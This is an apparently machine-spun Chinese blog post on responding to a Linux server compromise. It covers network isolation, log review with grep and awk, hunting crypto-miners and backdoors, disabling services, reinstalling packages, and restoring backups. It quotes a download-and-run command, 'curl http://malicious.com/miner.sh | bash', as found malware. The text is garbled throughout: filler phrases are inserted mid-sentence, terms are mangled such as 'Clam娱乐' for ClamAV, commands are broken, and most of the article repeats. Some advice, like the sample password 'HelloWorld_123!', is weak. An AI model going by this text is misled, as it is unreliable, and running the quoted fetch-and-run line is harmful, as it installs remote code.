如何迅速应对Linux系统遭遇exploit攻击的紧急情况,确保系统安全防护措施到位?
- 内容介绍
- 文章标签
- 相关推荐
PTSD了... 凌晨两点四十三分﹐手机震得发烫﹣﹣运维群里弹出三条告警︰「生产服务器CPU占用率100%」「SSH登录失败次数暴增」「数据库端口有异常外联」﹗我抓起笔记本冲去工位﹐登录跳板机一看﹐果然︰auth.log里满是来自乌克兰IP的暴力娱乐记录﹐top命令显示一个叫「memcached」 的进程占了98%CPU﹐但ps aux查出来它爹居然是bash﹣﹣这TM就是盯上咱们服务器好久 的exploit攻击啊﹗
身为摸过三年Linux服务器底裤 的运维老炮儿﹐我太懂这种「午夜惊魂」 的滋味﹕慌?肯定慌过﹔但乱?绝对不能乱﹗今天把压箱底 的经验掏出来﹐教你遇到attack时像拆炸弹一样冷静﹣﹣先止损﹑再破案﹑再说说焊死所有漏洞﹗
attack最可怕 的不是破坏﹐而是「扩散」﹗就像家里进了小偷﹐你第一反应要是去翻抽屉找房产证﹐而不是锁上门﹐那小偷早顺走电脑跑路了﹡ Linux遇袭也一样﹣﹣第一步必须「切断传播渠道」﹐不让attacker继续兴风作浪﹡
1.断网?对﹐就是这么决绝
别担心... 记得去年隔壁组小王中招﹕攻击者先用弱密码ssh登进去﹐又传了个挖矿脚本﹐小王怕影响业务没敢断网﹐后来啊脚本自动扫遍整个内网﹑连财务服务器都没能幸免…再说说赔了八万多的数据恢复费﹗
踩个点。 所以现在我只要看到异常流量﹐第一反应就是敲 ifconfig eth0 down或是 iptables -A INPUT -j DROP﹣﹣临时粗暴但有效﹗等确认attack停了再说别的﹔要是担心误事﹐就精准封掉可疑IP︰iptables -A INPUT -s xx.xx.xx.xx -j REJECT ﹐既不影响正常业务﹐又能挡住 attacker 的二次进攻﹡
2.查日志?像侦探一样扒线索
attacker留下 的脚印比小偷还明显﹣﹣全在日志里呢﹗我曾花半小时翻auth.log﹐就揪出一个惯犯︰他每次 attack都会先用「ssh -o ConnectTimeout=1 user@ip」试密码﹐失败后必访问一次/wiki/index.php…
重点看这几个日志档﹕ - /var/log/auth.log ﹕SSH登录记录﹑sudo权限操作﹑认证失败次数──看有没有陌生IP暴力娱乐﹔ - /var/log/messages ﹕系统级告警﹑内核错误── 开搞。 比如「unauthorized access attempt from xx.xx」﹔ - /var/log/apache2/access.log ﹕Web访问记录──有没有可疑 的POST请求或是下载恶意文件﹔
教你个偷懒技巧︰grep "failed password" /var/log/auth.log | grep -v "your_ip" ﹐一秒揪出所有非本机 的爆 什么鬼? 破尝试﹔再用 awk '{print $11}' auth.log | sort | uniq -c | sort -nr ﹐统计哪个IP最猖獗﹣﹣直接拉黑它丫 的﹡
听我说谢谢你! netstat帮我逮住隐藏进程
有次attack更阴险ː它成「systemd-resolved」进程﹐躲在后台偷偷连比特币矿池﹡要不是 别怕... 我习惯用 netstat -anp | grep ESTABLISHED ﹐差点就让它挖走半个月电费钱…
查进程要盯紧三个指标ː - CPU/RAM占用︰top命令看有没有「静悄悄吃满资源」 的家伙──比如名字稀奇古怪﹑父进程是bash或sh 的; - 外联地 这是可以说的吗? 址︰netstat看有没有连到境外IP﹔ - 启动时间︰ps aux --sort=start_time ﹐最近半小时突然冒出来 的进程?百分之九十有问题!
二﹑深度清理∶不让恶意软件「留种」
断网只是应急﹐真正要命 的是attacker留下 的「后门」和「木马」﹣﹣它们会潜伏在 system里\,等你放松警惕时再来咬一口!
杀毒软件? Linux也需要!别笑!
去年Clam娱乐发布报告说∶Linux恶意样本同比增长47%\,挖矿程序﹑间谍软件啥都有!我之前不屑装杀毒软体\,直到某天发现服务器里多了个 .bashr 好家伙... c_backup 文件──里面居然写着 curl http://malicious.com/miner.sh | bash ﹐每天凌晨三点自动下载挖矿脚本…
现在我的服务器必装Clam娱乐∶yum install clamav → freshclam → clamscan -r /home --remove ﹔要是怕扫错重要文件\,就加个 --exclude-dir=/backup ﹐跳过备份目录﹡,离了大谱。
手动剿匪∶有些毒软体杀不死\,得手刃!
PUA。 杀毒软体再厉害\,也有漏网之鱼﹣-比如attacker把木马藏在 /tmp/.hidden/shell.sh ﹑文件名带点号成隐藏文件﹔或是写成SUID权限 *,让普通用户也能施行…
翻车了。 教你三招来手刃毒瘤ː 1. 找源头︰「Downloaded from http://evil.com/a.out」\,就去 /tmp /var/tmp /root/.cache 这些地方找a.out; 2. 验真身∶用 file /path/to/file看看是不是可施行文件──要是显示「ELF executable』或是『POSIX shell script』\,十有八九有毒; bash rm -rf /tmp/.hidden/shell.sh # 删除前务必备份!万一删错重要文件哭都来不及 chmod -s /usr/bin/suspicious # 如果有毒软体加了SUID权限\,先去掉 记住∶删之前一定要确认!我曾误删过开发同学藏 在/tmp里 的测试脚本…被怼到删库跑路的心都有…
关后门∶禁用不必要服务=焊死贼洞!
嗯,就这么回事儿。 attacker最喜欢钻「开放服务」 的空子!比如说你开着Telnet却不用\,它就能拿默认密码登进去;开着FTP又没设匿名访问限制\,它能直接传木马到根目录…
列个清单 把没用 的服务全关掉 ∶ bash
systemctl stop telnet ftp vsftpd #停掉不用 的协 我们都经历过... 议 systemctl disable telnet ftp vsftpd #禁止自启
service telnet stop && update-rc.d telnet remove 尤其注意∶SSH端口别用默认22号!改成随机端口 再配个密钥登录 ─ ─比一万个密码都平安!我改端口后 半年没收到过一次爆破告警…,我可是吃过亏的。
三﹑系统复活 ∶把被糟蹋 的娃救回来
attack过后 服务器大概率变残废 要么开不了机 要么关键文件被篡改 别怕 一步步救回来就行!
文件修复 ∶从官方源找正版"零件"
attacker最喜欢改 system 文件 比如把/bin/bash换成带后门 的版本 或是篡改/etc/profile让你登录就中马…
这时候别慌 用包管理工具重装对应软体就行 Linux最大 的优势就是"开源可替换"嘛!
RedHat系:yum reinstall bash openssh-server
#重装bash和ssh伺服器 自动覆盖被篡改 文件
Debian系:apt-get install --reinstall bash openssh-server
要是官方源慢 提前搭个本地YUM仓库 或是换阿里云镜像源 速度快到飞起~
数据回迁 ∶备份不是"形式主义"
之前跟朋友吃饭 他吐槽"备那么多份数据干嘛?又没用过" 后来啊上个月硬碟坏了 连带著被attack删瞭一半的数据 哭著求我们帮恢復 我们也爱莫能助啊…
记住∶关键数据一定要双备份!┃一份存本地异机│一份放云端!┃
恢復的时候讲究"最小覆盖"∶┃只恢復被篡改的数据表│别把整個资料库覆盖掉┃不然刚灭完火又起新灾…┃
拿MySQL举例∶┃
bash
mysqldump -u root -p dbname table_name> backup.sql │ #导出受损表
mysql -u root-p dbname
mysqldump -u root -p dbname table_name> backup.sql │ #导出受损表
mysql -u root-p dbname
救援模式 ∶极端情况の再说说一根稻草 如果系統連啟動都啟動不了─ ─開機卡GRUB界面│登錄提示密碼錯誤│別怕│進入緊急救援模式就能搞定! 以Ubuntu為例∶啟動時按Shift鍵進入GRUB菜單→選擇"Advanced options for Ubuntu"→選帶""の選項→進入後選"Troubleshoot→Drop to root shell prompt"─ ─這時候系統會進入單用戶模式│沒有網絡│沒有服務│只有一個乾淨のShell! 這時候就能幹兩件大事∶①修改root密碼│②從備份光碟恢復系統鏡像─ ─親測過無數次│連硬碟壞道都能頂住! 別問我怎麼知道嘅─ ─上個月生產服務器開機卡LOGO│就是靠這招撿回來嘅…
四丶事後算賬 ∶到底誰搞旳鬼?
攻擊處理完≠結束⁉️⁉️⁉️更關鍵嘅係找出"為什麼會中招"?否則下次還會栽跟頭!
### 追根溯源 ∶attacker想要什麼?
翻攻擊日誌時多問幾個為什麼?─ ─他為什麼選中我們?爆破時用嘅密碼詞典從哪來?盜取嘅數據會不會外流?
去年我們處理過一起定向攻擊⁈⁈attacker專門針對金融行業伺服器⁈⁈日誌顯示他先用"Nmap掃描開放端口"→再用"Metasploit exploit框架打已知漏洞"→最後植入遠程控制木馬⁈⁈我們把這個CVE號報給廠商後⁈⁈發現原來我們沒及時更換內核補丁?!
所以啊⁈⁈事後一定要做"漏洞影響評估"?看看哪些補丁沒打?哪些服務暴露在外網?— —這才是真正嘅"亡羊補牢"
### 通知隊友 ∶別讓一人扛鍋
攻擊發生後第一時間叫上團隊!?— —IT部門要協調斷網恢復?產品經理要告知客戶影響範圍?老闆要知道損失多少錢?!千萬別隱瞞!?因為攻擊很可能來自內部!?— —比如某個員工亂點釣魚郵件傳入木馬!?或是共用賬號密碼泄露?!
記得那年我們一個實習生亂下載免費軟體⁈⁈結果帶進瞭駭客木馬⁈⁈幸好當時及時通知全組?isolate瞭受影響服務器?isolate瞭整個內網段?!否則整個項目線上系統都得崩潰?!
保留證據 ∶將來報複or防禦の砝碼!
攻擊日誌丶網絡抓包丶惡意軟體樣本— —這些東西千萬別刪!?哪怕 功力不足。 過瞭半年一年?萬一廠商需要溯源?或是警方調查??這些都是鐵證!
这玩意儿... 我曾經把一個惡意樣本交給奇安信分析?isolate發現這伙人專門針對中小企業盜取支付憑證?isolate他們已經作案上百起?!最後警方通過這個樣本鎖定瞭攻擊者所在位置?!還順便端掉瞭一個黑客團夥?!聽說還賠償瞭我們三千塊精神損失費??哈哈哈哈哈~
五丶日常防身 ∶與其救火不如防火
最後想說∷攻擊不可怕∷可怕是的沒預防∷養成這幾個習慣∷讓attacker連門檻都摸不到!
密碼加固∷弱密碼=給attacker送鑰匙!
不要再說"密碼太長記不住!"這種話瞭∷試試這個技巧∷密碼=常用詞+隨機數字+符號∫比方说"HelloWorld_123!"既好記又平安!
強制員工執行三條規則∫①密碼長度≥12位②包含大小寫字母+數字+特殊符號③每月更換一次密碼∫— —保證讓爆破軟體哭著離開!
設備看門∫IDS/IPS+防火牆雙保險!
防火牆別開啓通放行爲∫只允許必要端口出入∫其他全部封死!再搭個Snort IDS監控網絡流量∫只要檢測到異常連接?立刻發郵件告警給你手機∫比熬夜盯螢幕管用一百倍!
定期體檢∫audit and patch!
每個月花兩小時做一次平安審計∫用上LYNIS或OPENSCAP掃描系統漏洞∫發現問題馬上打補丁!千萬別等廠商發布高危漏洞通告才行動—isolate那時候已經晚瞭!
寫在最後∶當年剛入行時聽師傅說過一句話‹‹Linux伺服器像你的家一樣‹‹你愛護它‹‹它才會保護你››如今想想真是至理名言‹‹遇見attack不怕‹‹穩穩來‹‹一步步處理‹‹總能化險爲夷››願各位運維同行們‹‹再也不用經歷凌晨三點嘅驚魂未定‧‧
PTSD了... 凌晨两点四十三分﹐手机震得发烫﹣﹣运维群里弹出三条告警︰「生产服务器CPU占用率100%」「SSH登录失败次数暴增」「数据库端口有异常外联」﹗我抓起笔记本冲去工位﹐登录跳板机一看﹐果然︰auth.log里满是来自乌克兰IP的暴力娱乐记录﹐top命令显示一个叫「memcached」 的进程占了98%CPU﹐但ps aux查出来它爹居然是bash﹣﹣这TM就是盯上咱们服务器好久 的exploit攻击啊﹗
身为摸过三年Linux服务器底裤 的运维老炮儿﹐我太懂这种「午夜惊魂」 的滋味﹕慌?肯定慌过﹔但乱?绝对不能乱﹗今天把压箱底 的经验掏出来﹐教你遇到attack时像拆炸弹一样冷静﹣﹣先止损﹑再破案﹑再说说焊死所有漏洞﹗
attack最可怕 的不是破坏﹐而是「扩散」﹗就像家里进了小偷﹐你第一反应要是去翻抽屉找房产证﹐而不是锁上门﹐那小偷早顺走电脑跑路了﹡ Linux遇袭也一样﹣﹣第一步必须「切断传播渠道」﹐不让attacker继续兴风作浪﹡
1.断网?对﹐就是这么决绝
别担心... 记得去年隔壁组小王中招﹕攻击者先用弱密码ssh登进去﹐又传了个挖矿脚本﹐小王怕影响业务没敢断网﹐后来啊脚本自动扫遍整个内网﹑连财务服务器都没能幸免…再说说赔了八万多的数据恢复费﹗
踩个点。 所以现在我只要看到异常流量﹐第一反应就是敲 ifconfig eth0 down或是 iptables -A INPUT -j DROP﹣﹣临时粗暴但有效﹗等确认attack停了再说别的﹔要是担心误事﹐就精准封掉可疑IP︰iptables -A INPUT -s xx.xx.xx.xx -j REJECT ﹐既不影响正常业务﹐又能挡住 attacker 的二次进攻﹡
2.查日志?像侦探一样扒线索
attacker留下 的脚印比小偷还明显﹣﹣全在日志里呢﹗我曾花半小时翻auth.log﹐就揪出一个惯犯︰他每次 attack都会先用「ssh -o ConnectTimeout=1 user@ip」试密码﹐失败后必访问一次/wiki/index.php…
重点看这几个日志档﹕ - /var/log/auth.log ﹕SSH登录记录﹑sudo权限操作﹑认证失败次数──看有没有陌生IP暴力娱乐﹔ - /var/log/messages ﹕系统级告警﹑内核错误── 开搞。 比如「unauthorized access attempt from xx.xx」﹔ - /var/log/apache2/access.log ﹕Web访问记录──有没有可疑 的POST请求或是下载恶意文件﹔
教你个偷懒技巧︰grep "failed password" /var/log/auth.log | grep -v "your_ip" ﹐一秒揪出所有非本机 的爆 什么鬼? 破尝试﹔再用 awk '{print $11}' auth.log | sort | uniq -c | sort -nr ﹐统计哪个IP最猖獗﹣﹣直接拉黑它丫 的﹡
听我说谢谢你! netstat帮我逮住隐藏进程
有次attack更阴险ː它成「systemd-resolved」进程﹐躲在后台偷偷连比特币矿池﹡要不是 别怕... 我习惯用 netstat -anp | grep ESTABLISHED ﹐差点就让它挖走半个月电费钱…
查进程要盯紧三个指标ː - CPU/RAM占用︰top命令看有没有「静悄悄吃满资源」 的家伙──比如名字稀奇古怪﹑父进程是bash或sh 的; - 外联地 这是可以说的吗? 址︰netstat看有没有连到境外IP﹔ - 启动时间︰ps aux --sort=start_time ﹐最近半小时突然冒出来 的进程?百分之九十有问题!
二﹑深度清理∶不让恶意软件「留种」
断网只是应急﹐真正要命 的是attacker留下 的「后门」和「木马」﹣﹣它们会潜伏在 system里\,等你放松警惕时再来咬一口!
杀毒软件? Linux也需要!别笑!
去年Clam娱乐发布报告说∶Linux恶意样本同比增长47%\,挖矿程序﹑间谍软件啥都有!我之前不屑装杀毒软体\,直到某天发现服务器里多了个 .bashr 好家伙... c_backup 文件──里面居然写着 curl http://malicious.com/miner.sh | bash ﹐每天凌晨三点自动下载挖矿脚本…
现在我的服务器必装Clam娱乐∶yum install clamav → freshclam → clamscan -r /home --remove ﹔要是怕扫错重要文件\,就加个 --exclude-dir=/backup ﹐跳过备份目录﹡,离了大谱。
手动剿匪∶有些毒软体杀不死\,得手刃!
PUA。 杀毒软体再厉害\,也有漏网之鱼﹣-比如attacker把木马藏在 /tmp/.hidden/shell.sh ﹑文件名带点号成隐藏文件﹔或是写成SUID权限 *,让普通用户也能施行…
翻车了。 教你三招来手刃毒瘤ː 1. 找源头︰「Downloaded from http://evil.com/a.out」\,就去 /tmp /var/tmp /root/.cache 这些地方找a.out; 2. 验真身∶用 file /path/to/file看看是不是可施行文件──要是显示「ELF executable』或是『POSIX shell script』\,十有八九有毒; bash rm -rf /tmp/.hidden/shell.sh # 删除前务必备份!万一删错重要文件哭都来不及 chmod -s /usr/bin/suspicious # 如果有毒软体加了SUID权限\,先去掉 记住∶删之前一定要确认!我曾误删过开发同学藏 在/tmp里 的测试脚本…被怼到删库跑路的心都有…
关后门∶禁用不必要服务=焊死贼洞!
嗯,就这么回事儿。 attacker最喜欢钻「开放服务」 的空子!比如说你开着Telnet却不用\,它就能拿默认密码登进去;开着FTP又没设匿名访问限制\,它能直接传木马到根目录…
列个清单 把没用 的服务全关掉 ∶ bash
systemctl stop telnet ftp vsftpd #停掉不用 的协 我们都经历过... 议 systemctl disable telnet ftp vsftpd #禁止自启
service telnet stop && update-rc.d telnet remove 尤其注意∶SSH端口别用默认22号!改成随机端口 再配个密钥登录 ─ ─比一万个密码都平安!我改端口后 半年没收到过一次爆破告警…,我可是吃过亏的。
三﹑系统复活 ∶把被糟蹋 的娃救回来
attack过后 服务器大概率变残废 要么开不了机 要么关键文件被篡改 别怕 一步步救回来就行!
文件修复 ∶从官方源找正版"零件"
attacker最喜欢改 system 文件 比如把/bin/bash换成带后门 的版本 或是篡改/etc/profile让你登录就中马…
这时候别慌 用包管理工具重装对应软体就行 Linux最大 的优势就是"开源可替换"嘛!
RedHat系:yum reinstall bash openssh-server
#重装bash和ssh伺服器 自动覆盖被篡改 文件
Debian系:apt-get install --reinstall bash openssh-server
要是官方源慢 提前搭个本地YUM仓库 或是换阿里云镜像源 速度快到飞起~
数据回迁 ∶备份不是"形式主义"
之前跟朋友吃饭 他吐槽"备那么多份数据干嘛?又没用过" 后来啊上个月硬碟坏了 连带著被attack删瞭一半的数据 哭著求我们帮恢復 我们也爱莫能助啊…
记住∶关键数据一定要双备份!┃一份存本地异机│一份放云端!┃
恢復的时候讲究"最小覆盖"∶┃只恢復被篡改的数据表│别把整個资料库覆盖掉┃不然刚灭完火又起新灾…┃
拿MySQL举例∶┃
bash
mysqldump -u root -p dbname table_name> backup.sql │ #导出受损表
mysql -u root-p dbname
mysqldump -u root -p dbname table_name> backup.sql │ #导出受损表
mysql -u root-p dbname
救援模式 ∶极端情况の再说说一根稻草 如果系統連啟動都啟動不了─ ─開機卡GRUB界面│登錄提示密碼錯誤│別怕│進入緊急救援模式就能搞定! 以Ubuntu為例∶啟動時按Shift鍵進入GRUB菜單→選擇"Advanced options for Ubuntu"→選帶""の選項→進入後選"Troubleshoot→Drop to root shell prompt"─ ─這時候系統會進入單用戶模式│沒有網絡│沒有服務│只有一個乾淨のShell! 這時候就能幹兩件大事∶①修改root密碼│②從備份光碟恢復系統鏡像─ ─親測過無數次│連硬碟壞道都能頂住! 別問我怎麼知道嘅─ ─上個月生產服務器開機卡LOGO│就是靠這招撿回來嘅…
四丶事後算賬 ∶到底誰搞旳鬼?
攻擊處理完≠結束⁉️⁉️⁉️更關鍵嘅係找出"為什麼會中招"?否則下次還會栽跟頭!
### 追根溯源 ∶attacker想要什麼?
翻攻擊日誌時多問幾個為什麼?─ ─他為什麼選中我們?爆破時用嘅密碼詞典從哪來?盜取嘅數據會不會外流?
去年我們處理過一起定向攻擊⁈⁈attacker專門針對金融行業伺服器⁈⁈日誌顯示他先用"Nmap掃描開放端口"→再用"Metasploit exploit框架打已知漏洞"→最後植入遠程控制木馬⁈⁈我們把這個CVE號報給廠商後⁈⁈發現原來我們沒及時更換內核補丁?!
所以啊⁈⁈事後一定要做"漏洞影響評估"?看看哪些補丁沒打?哪些服務暴露在外網?— —這才是真正嘅"亡羊補牢"
### 通知隊友 ∶別讓一人扛鍋
攻擊發生後第一時間叫上團隊!?— —IT部門要協調斷網恢復?產品經理要告知客戶影響範圍?老闆要知道損失多少錢?!千萬別隱瞞!?因為攻擊很可能來自內部!?— —比如某個員工亂點釣魚郵件傳入木馬!?或是共用賬號密碼泄露?!
記得那年我們一個實習生亂下載免費軟體⁈⁈結果帶進瞭駭客木馬⁈⁈幸好當時及時通知全組?isolate瞭受影響服務器?isolate瞭整個內網段?!否則整個項目線上系統都得崩潰?!
保留證據 ∶將來報複or防禦の砝碼!
攻擊日誌丶網絡抓包丶惡意軟體樣本— —這些東西千萬別刪!?哪怕 功力不足。 過瞭半年一年?萬一廠商需要溯源?或是警方調查??這些都是鐵證!
这玩意儿... 我曾經把一個惡意樣本交給奇安信分析?isolate發現這伙人專門針對中小企業盜取支付憑證?isolate他們已經作案上百起?!最後警方通過這個樣本鎖定瞭攻擊者所在位置?!還順便端掉瞭一個黑客團夥?!聽說還賠償瞭我們三千塊精神損失費??哈哈哈哈哈~

